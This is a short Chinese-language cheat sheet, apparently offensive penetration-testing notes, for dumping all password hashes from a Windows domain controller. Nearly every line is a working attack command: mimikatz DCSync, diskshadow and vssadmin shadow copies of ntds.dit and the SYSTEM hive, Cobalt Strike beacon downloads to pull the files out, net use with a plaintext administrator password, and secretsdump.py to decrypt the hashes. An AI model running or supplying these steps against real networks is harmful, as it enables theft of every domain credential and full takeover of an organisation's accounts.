一、dcsync導入域內所有hash
mimikatz.exe privilege::debug "lsadump::dcsync /domain:test.local /all /csv exit"
二、利用diskshadow 之前需要先切換到 system32 目錄下
diskshadow.exe
set context persistent nowriters
add volume c: alias stack
create
expose %stack% z: DISKSHADOW> exec "cmd.exe" /c copy z:\windows\ntds\ntds.dit c:\windows\temp\ntds.dit
delete shadows all
list shadows all
reset DISKSHADOW> exit
reg save hklm\system c:\windows\temp\system.hive
beacon> download ntds.dit beacon> download system.hive beacon> downloads
三、將兩個文件從域控托回被控機
net use \\192.168.75.129\c$ /user:"yiwang\Administrator" "admin123"
move \\192.168.75.129\admin$\temp\ntds.dit c:\windows\temp\
move \\192.168.75.129\admin$\temp\system.hive c:\windows\temp\
net use * /del /yes
mpacket中用 secretsdump.py腳本進行解密
python secretsdump.py -system system.hive -ntds ntds.dit LOCAL >>hash.txt
四、vssadmin離線導入hash
vssadmin list shadows
vssadmin create shadow /for=c:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy65\windows\NTDS\ntds.dit c:\windows\temp\ntds.dit
vssadmin delete shadows /for=c: /quiet
esentutl /p /o c:\windows\temp\ntds.dit
reg save hklm\system c:\windows\temp\system.hive
參考：
https://xz.aliyun.com/t/2527#toc-1